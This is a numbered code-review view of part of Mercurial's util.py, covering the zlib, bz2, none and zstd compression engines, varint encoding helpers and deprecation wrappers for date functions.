3531 3523 def decompressorreader(self, fh):
3532 3524 """Perform decompression on a file object.
3533 3525
3534 3526 Argument is an object with a ``read(size)`` method that returns
3535 3527 compressed data. Return value is an object with a ``read(size)`` that
3536 3528 returns uncompressed data.
3537 3529 """
3538 3530 raise NotImplementedError()
3539 3531
3540 3532 def revlogcompressor(self, opts=None):
3541 3533 """Obtain an object that can be used to compress revlog entries.
3542 3534
3543 3535 The object has a ``compress(data)`` method that compresses binary
3544 3536 data. This method returns compressed binary data or ``None`` if
3545 3537 the data could not be compressed (too small, not compressible, etc).
3546 3538 The returned data should have a header uniquely identifying this
3547 3539 compression format so decompression can be routed to this engine.
3548 3540 This header should be identified by the ``revlogheader()`` return
3549 3541 value.
3550 3542
3551 3543 The object has a ``decompress(data)`` method that decompresses
3552 3544 data. The method will only be called if ``data`` begins with
3553 3545 ``revlogheader()``. The method should return the raw, uncompressed
3554 3546 data or raise a ``RevlogError``.
3555 3547
3556 3548 The object is reusable but is not thread safe.
3557 3549 """
3558 3550 raise NotImplementedError()
3559 3551
3560 3552 class _zlibengine(compressionengine):
3561 3553 def name(self):
3562 3554 return 'zlib'
3563 3555
3564 3556 def bundletype(self):
3565 3557 """zlib compression using the DEFLATE algorithm.
3566 3558
3567 3559 All Mercurial clients should support this format. The compression
3568 3560 algorithm strikes a reasonable balance between compression ratio
3569 3561 and size.
3570 3562 """
3571 3563 return 'gzip', 'GZ'
3572 3564
3573 3565 def wireprotosupport(self):
3574 3566 return compewireprotosupport('zlib', 20, 20)
3575 3567
3576 3568 def revlogheader(self):
3577 3569 return 'x'
3578 3570
3579 3571 def compressstream(self, it, opts=None):
3580 3572 opts = opts or {}
3581 3573
3582 3574 z = zlib.compressobj(opts.get('level', -1))
3583 3575 for chunk in it:
3584 3576 data = z.compress(chunk)
3585 3577 # Not all calls to compress emit data. It is cheaper to inspect
3586 3578 # here than to feed empty chunks through generator.
3587 3579 if data:
3588 3580 yield data
3589 3581
3590 3582 yield z.flush()
3591 3583
3592 3584 def decompressorreader(self, fh):
3593 3585 def gen():
3594 3586 d = zlib.decompressobj()
3595 3587 for chunk in filechunkiter(fh):
3596 3588 while chunk:
3597 3589 # Limit output size to limit memory.
3598 3590 yield d.decompress(chunk, 2 ** 18)
3599 3591 chunk = d.unconsumed_tail
3600 3592
3601 3593 return chunkbuffer(gen())
3602 3594
3603 3595 class zlibrevlogcompressor(object):
3604 3596 def compress(self, data):
3605 3597 insize = len(data)
3606 3598 # Caller handles empty input case.
3607 3599 assert insize > 0
3608 3600
3609 3601 if insize < 44:
3610 3602 return None
3611 3603
3612 3604 elif insize <= 1000000:
3613 3605 compressed = zlib.compress(data)
3614 3606 if len(compressed) < insize:
3615 3607 return compressed
3616 3608 return None
3617 3609
3618 3610 # zlib makes an internal copy of the input buffer, doubling
3619 3611 # memory usage for large inputs. So do streaming compression
3620 3612 # on large inputs.
3621 3613 else:
3622 3614 z = zlib.compressobj()
3623 3615 parts = []
3624 3616 pos = 0
3625 3617 while pos < insize:
3626 3618 pos2 = pos + 2**20
3627 3619 parts.append(z.compress(data[pos:pos2]))
3628 3620 pos = pos2
3629 3621 parts.append(z.flush())
3630 3622
3631 3623 if sum(map(len, parts)) < insize:
3632 3624 return ''.join(parts)
3633 3625 return None
3634 3626
3635 3627 def decompress(self, data):
3636 3628 try:
3637 3629 return zlib.decompress(data)
3638 3630 except zlib.error as e:
3639 3631 raise error.RevlogError(_('revlog decompress error: %s') %
3640 3632 forcebytestr(e))
3641 3633
3642 3634 def revlogcompressor(self, opts=None):
3643 3635 return self.zlibrevlogcompressor()
3644 3636
3645 3637 compengines.register(_zlibengine())
3646 3638
3647 3639 class _bz2engine(compressionengine):
3648 3640 def name(self):
3649 3641 return 'bz2'
3650 3642
3651 3643 def bundletype(self):
3652 3644 """An algorithm that produces smaller bundles than ``gzip``.
3653 3645
3654 3646 All Mercurial clients should support this format.
3655 3647
3656 3648 This engine will likely produce smaller bundles than ``gzip`` but
3657 3649 will be significantly slower, both during compression and
3658 3650 decompression.
3659 3651
3660 3652 If available, the ``zstd`` engine can yield similar or better
3661 3653 compression at much higher speeds.
3662 3654 """
3663 3655 return 'bzip2', 'BZ'
3664 3656
3665 3657 # We declare a protocol name but don't advertise by default because
3666 3658 # it is slow.
3667 3659 def wireprotosupport(self):
3668 3660 return compewireprotosupport('bzip2', 0, 0)
3669 3661
3670 3662 def compressstream(self, it, opts=None):
3671 3663 opts = opts or {}
3672 3664 z = bz2.BZ2Compressor(opts.get('level', 9))
3673 3665 for chunk in it:
3674 3666 data = z.compress(chunk)
3675 3667 if data:
3676 3668 yield data
3677 3669
3678 3670 yield z.flush()
3679 3671
3680 3672 def decompressorreader(self, fh):
3681 3673 def gen():
3682 3674 d = bz2.BZ2Decompressor()
3683 3675 for chunk in filechunkiter(fh):
3684 3676 yield d.decompress(chunk)
3685 3677
3686 3678 return chunkbuffer(gen())
3687 3679
3688 3680 compengines.register(_bz2engine())
3689 3681
3690 3682 class _truncatedbz2engine(compressionengine):
3691 3683 def name(self):
3692 3684 return 'bz2truncated'
3693 3685
3694 3686 def bundletype(self):
3695 3687 return None, '_truncatedBZ'
3696 3688
3697 3689 # We don't implement compressstream because it is hackily handled elsewhere.
3698 3690
3699 3691 def decompressorreader(self, fh):
3700 3692 def gen():
3701 3693 # The input stream doesn't have the 'BZ' header. So add it back.
3702 3694 d = bz2.BZ2Decompressor()
3703 3695 d.decompress('BZ')
3704 3696 for chunk in filechunkiter(fh):
3705 3697 yield d.decompress(chunk)
3706 3698
3707 3699 return chunkbuffer(gen())
3708 3700
3709 3701 compengines.register(_truncatedbz2engine())
3710 3702
3711 3703 class _noopengine(compressionengine):
3712 3704 def name(self):
3713 3705 return 'none'
3714 3706
3715 3707 def bundletype(self):
3716 3708 """No compression is performed.
3717 3709
3718 3710 Use this compression engine to explicitly disable compression.
3719 3711 """
3720 3712 return 'none', 'UN'
3721 3713
3722 3714 # Clients always support uncompressed payloads. Servers don't because
3723 3715 # unless you are on a fast network, uncompressed payloads can easily
3724 3716 # saturate your network pipe.
3725 3717 def wireprotosupport(self):
3726 3718 return compewireprotosupport('none', 0, 10)
3727 3719
3728 3720 # We don't implement revlogheader because it is handled specially
3729 3721 # in the revlog class.
3730 3722
3731 3723 def compressstream(self, it, opts=None):
3732 3724 return it
3733 3725
3734 3726 def decompressorreader(self, fh):
3735 3727 return fh
3736 3728
3737 3729 class nooprevlogcompressor(object):
3738 3730 def compress(self, data):
3739 3731 return None
3740 3732
3741 3733 def revlogcompressor(self, opts=None):
3742 3734 return self.nooprevlogcompressor()
3743 3735
3744 3736 compengines.register(_noopengine())
3745 3737
3746 3738 class _zstdengine(compressionengine):
3747 3739 def name(self):
3748 3740 return 'zstd'
3749 3741
3750 3742 @propertycache
3751 3743 def _module(self):
3752 3744 # Not all installs have the zstd module available. So defer importing
3753 3745 # until first access.
3754 3746 try:
3755 3747 from . import zstd
3756 3748 # Force delayed import.
3757 3749 zstd.__version__
3758 3750 return zstd
3759 3751 except ImportError:
3760 3752 return None
3761 3753
3762 3754 def available(self):
3763 3755 return bool(self._module)
3764 3756
3765 3757 def bundletype(self):
3766 3758 """A modern compression algorithm that is fast and highly flexible.
3767 3759
3768 3760 Only supported by Mercurial 4.1 and newer clients.
3769 3761
3770 3762 With the default settings, zstd compression is both faster and yields
3771 3763 better compression than ``gzip``. It also frequently yields better
3772 3764 compression than ``bzip2`` while operating at much higher speeds.
3773 3765
3774 3766 If this engine is available and backwards compatibility is not a
3775 3767 concern, it is likely the best available engine.
3776 3768 """
3777 3769 return 'zstd', 'ZS'
3778 3770
3779 3771 def wireprotosupport(self):
3780 3772 return compewireprotosupport('zstd', 50, 50)
3781 3773
3782 3774 def revlogheader(self):
3783 3775 return '\x28'
3784 3776
3785 3777 def compressstream(self, it, opts=None):
3786 3778 opts = opts or {}
3787 3779 # zstd level 3 is almost always significantly faster than zlib
3788 3780 # while providing no worse compression. It strikes a good balance
3789 3781 # between speed and compression.
3790 3782 level = opts.get('level', 3)
3791 3783
3792 3784 zstd = self._module
3793 3785 z = zstd.ZstdCompressor(level=level).compressobj()
3794 3786 for chunk in it:
3795 3787 data = z.compress(chunk)
3796 3788 if data:
3797 3789 yield data
3798 3790
3799 3791 yield z.flush()
3800 3792
3801 3793 def decompressorreader(self, fh):
3802 3794 zstd = self._module
3803 3795 dctx = zstd.ZstdDecompressor()
3804 3796 return chunkbuffer(dctx.read_from(fh))
3805 3797
3806 3798 class zstdrevlogcompressor(object):
3807 3799 def __init__(self, zstd, level=3):
3808 3800 # Writing the content size adds a few bytes to the output. However,
3809 3801 # it allows decompression to be more optimal since we can
3810 3802 # pre-allocate a buffer to hold the result.
3811 3803 self._cctx = zstd.ZstdCompressor(level=level,
3812 3804 write_content_size=True)
3813 3805 self._dctx = zstd.ZstdDecompressor()
3814 3806 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3815 3807 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3816 3808
3817 3809 def compress(self, data):
3818 3810 insize = len(data)
3819 3811 # Caller handles empty input case.
3820 3812 assert insize > 0
3821 3813
3822 3814 if insize < 50:
3823 3815 return None
3824 3816
3825 3817 elif insize <= 1000000:
3826 3818 compressed = self._cctx.compress(data)
3827 3819 if len(compressed) < insize:
3828 3820 return compressed
3829 3821 return None
3830 3822 else:
3831 3823 z = self._cctx.compressobj()
3832 3824 chunks = []
3833 3825 pos = 0
3834 3826 while pos < insize:
3835 3827 pos2 = pos + self._compinsize
3836 3828 chunk = z.compress(data[pos:pos2])
3837 3829 if chunk:
3838 3830 chunks.append(chunk)
3839 3831 pos = pos2
3840 3832 chunks.append(z.flush())
3841 3833
3842 3834 if sum(map(len, chunks)) < insize:
3843 3835 return ''.join(chunks)
3844 3836 return None
3845 3837
3846 3838 def decompress(self, data):
3847 3839 insize = len(data)
3848 3840
3849 3841 try:
3850 3842 # This was measured to be faster than other streaming
3851 3843 # decompressors.
3852 3844 dobj = self._dctx.decompressobj()
3853 3845 chunks = []
3854 3846 pos = 0
3855 3847 while pos < insize:
3856 3848 pos2 = pos + self._decompinsize
3857 3849 chunk = dobj.decompress(data[pos:pos2])
3858 3850 if chunk:
3859 3851 chunks.append(chunk)
3860 3852 pos = pos2
3861 3853 # Frame should be exhausted, so no finish() API.
3862 3854
3863 3855 return ''.join(chunks)
3864 3856 except Exception as e:
3865 3857 raise error.RevlogError(_('revlog decompress error: %s') %
3866 3858 forcebytestr(e))
3867 3859
3868 3860 def revlogcompressor(self, opts=None):
3869 3861 opts = opts or {}
3870 3862 return self.zstdrevlogcompressor(self._module,
3871 3863 level=opts.get('level', 3))
3872 3864
3873 3865 compengines.register(_zstdengine())
3874 3866
3875 3867 def bundlecompressiontopics():
3876 3868 """Obtains a list of available bundle compressions for use in help."""
3877 3869 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3878 3870 items = {}
3879 3871
3880 3872 # We need to format the docstring. So use a dummy object/type to hold it
3881 3873 # rather than mutating the original.
3882 3874 class docobject(object):
3883 3875 pass
3884 3876
3885 3877 for name in compengines:
3886 3878 engine = compengines[name]
3887 3879
3888 3880 if not engine.available():
3889 3881 continue
3890 3882
3891 3883 bt = engine.bundletype()
3892 3884 if not bt or not bt[0]:
3893 3885 continue
3894 3886
3895 3887 doc = pycompat.sysstr('``%s``\n %s') % (
3896 3888 bt[0], engine.bundletype.__doc__)
3897 3889
3898 3890 value = docobject()
3899 3891 value.__doc__ = doc
3900 3892 value._origdoc = engine.bundletype.__doc__
3901 3893 value._origfunc = engine.bundletype
3902 3894
3903 3895 items[bt[0]] = value
3904 3896
3905 3897 return items
3906 3898
3907 3899 i18nfunctions = bundlecompressiontopics().values()
3908 3900
3909 3901 # convenient shortcut
3910 3902 dst = debugstacktrace
3911 3903
3912 3904 def safename(f, tag, ctx, others=None):
3913 3905 """
3914 3906 Generate a name that it is safe to rename f to in the given context.
3915 3907
3916 3908 f: filename to rename
3917 3909 tag: a string tag that will be included in the new name
3918 3910 ctx: a context, in which the new name must not exist
3919 3911 others: a set of other filenames that the new name must not be in
3920 3912
3921 3913 Returns a file name of the form oldname~tag[~number] which does not exist
3922 3914 in the provided context and is not in the set of other names.
3923 3915 """
3924 3916 if others is None:
3925 3917 others = set()
3926 3918
3927 3919 fn = '%s~%s' % (f, tag)
3928 3920 if fn not in ctx and fn not in others:
3929 3921 return fn
3930 3922 for n in itertools.count(1):
3931 3923 fn = '%s~%s~%s' % (f, tag, n)
3932 3924 if fn not in ctx and fn not in others:
3933 3925 return fn
3934 3926
3935 3927 def readexactly(stream, n):
3936 3928 '''read n bytes from stream.read and abort if less was available'''
3937 3929 s = stream.read(n)
3938 3930 if len(s) < n:
3939 3931 raise error.Abort(_("stream ended unexpectedly"
3940 3932 " (got %d bytes, expected %d)")
3941 3933 % (len(s), n))
3942 3934 return s
3943 3935
3944 3936 def uvarintencode(value):
3945 3937 """Encode an unsigned integer value to a varint.
3946 3938
3947 3939 A varint is a variable length integer of 1 or more bytes. Each byte
3948 3940 except the last has the most significant bit set. The lower 7 bits of
3949 3941 each byte store the 2's complement representation, least significant group
3950 3942 first.
3951 3943
3952 3944 >>> uvarintencode(0)
3953 3945 '\\x00'
3954 3946 >>> uvarintencode(1)
3955 3947 '\\x01'
3956 3948 >>> uvarintencode(127)
3957 3949 '\\x7f'
3958 3950 >>> uvarintencode(1337)
3959 3951 '\\xb9\\n'
3960 3952 >>> uvarintencode(65536)
3961 3953 '\\x80\\x80\\x04'
3962 3954 >>> uvarintencode(-1)
3963 3955 Traceback (most recent call last):
3964 3956 ...
3965 3957 ProgrammingError: negative value for uvarint: -1
3966 3958 """
3967 3959 if value < 0:
3968 3960 raise error.ProgrammingError('negative value for uvarint: %d'
3969 3961 % value)
3970 3962 bits = value & 0x7f
3971 3963 value >>= 7
3972 3964 bytes = []
3973 3965 while value:
3974 3966 bytes.append(pycompat.bytechr(0x80 | bits))
3975 3967 bits = value & 0x7f
3976 3968 value >>= 7
3977 3969 bytes.append(pycompat.bytechr(bits))
3978 3970
3979 3971 return ''.join(bytes)
3980 3972
3981 3973 def uvarintdecodestream(fh):
3982 3974 """Decode an unsigned variable length integer from a stream.
3983 3975
3984 3976 The passed argument is anything that has a ``.read(N)`` method.
3985 3977
3986 3978 >>> try:
3987 3979 ... from StringIO import StringIO as BytesIO
3988 3980 ... except ImportError:
3989 3981 ... from io import BytesIO
3990 3982 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3991 3983 0
3992 3984 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3993 3985 1
3994 3986 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3995 3987 127
3996 3988 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3997 3989 1337
3998 3990 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3999 3991 65536
4000 3992 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4001 3993 Traceback (most recent call last):
4002 3994 ...
4003 3995 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4004 3996 """
4005 3997 result = 0
4006 3998 shift = 0
4007 3999 while True:
4008 4000 byte = ord(readexactly(fh, 1))
4009 4001 result |= ((byte & 0x7f) << shift)
4010 4002 if not (byte & 0x80):
4011 4003 return result
4012 4004 shift += 7
4013 4005
4014 4006 ###
4015 4007 # Deprecation warnings for util.py splitting
4016 4008 ###
4017 4009
4018 4010 defaultdateformats = dateutil.defaultdateformats
4019 4011
4020 4012 extendeddateformats = dateutil.extendeddateformats
4021 4013
4022 4014 def makedate(*args, **kwargs):
4023 4015 msg = ("'util.makedate' is deprecated, "
4024 4016 "use 'utils.dateutil.makedate'")
4025 4017 nouideprecwarn(msg, "4.6")
4026 4018 return dateutil.makedate(*args, **kwargs)
4027 4019
4028 4020 def datestr(*args, **kwargs):
4029 4021 msg = ("'util.datestr' is deprecated, "
4030 4022 "use 'utils.dateutil.datestr'")
4031 4023 nouideprecwarn(msg, "4.6")
4032 4024 debugstacktrace()
4033 4025 return dateutil.datestr(*args, **kwargs)
4034 4026
4035 4027 def shortdate(*args, **kwargs):
4036 4028 msg = ("'util.shortdate' is deprecated, "
4037 4029 "use 'utils.dateutil.shortdate'")
4038 4030 nouideprecwarn(msg, "4.6")
4039 4031 return dateutil.shortdate(*args, **kwargs)
4040 4032
4041 4033 def parsetimezone(*args, **kwargs):
4042 4034 msg = ("'util.parsetimezone' is deprecated, "
4043 4035 "use 'utils.dateutil.parsetimezone'")
4044 4036 nouideprecwarn(msg, "4.6")
4045 4037 return dateutil.parsetimezone(*args, **kwargs)
4046 4038
4047 4039 def strdate(*args, **kwargs):
4048 4040 msg = ("'util.strdate' is deprecated, "
4049 4041 "use 'utils.dateutil.strdate'")
4050 4042 nouideprecwarn(msg, "4.6")
4051 4043 return dateutil.strdate(*args, **kwargs)
4052 4044
4053 4045 def parsedate(*args, **kwargs):
4054 4046 msg = ("'util.parsedate' is deprecated, "
4055 4047 "use 'utils.dateutil.parsedate'")
4056 4048 nouideprecwarn(msg, "4.6")
4057 4049 return dateutil.parsedate(*args, **kwargs)
4058 4050
4059 4051 def matchdate(*args, **kwargs):
4060 4052 msg = ("'util.matchdate' is deprecated, "
4061 4053 "use 'utils.dateutil.matchdate'")
4062 4054 nouideprecwarn(msg, "4.6")
4063 4055 return dateutil.matchdate(*args, **kwargs)
General Comments 0
You need to be logged in to leave comments. Login now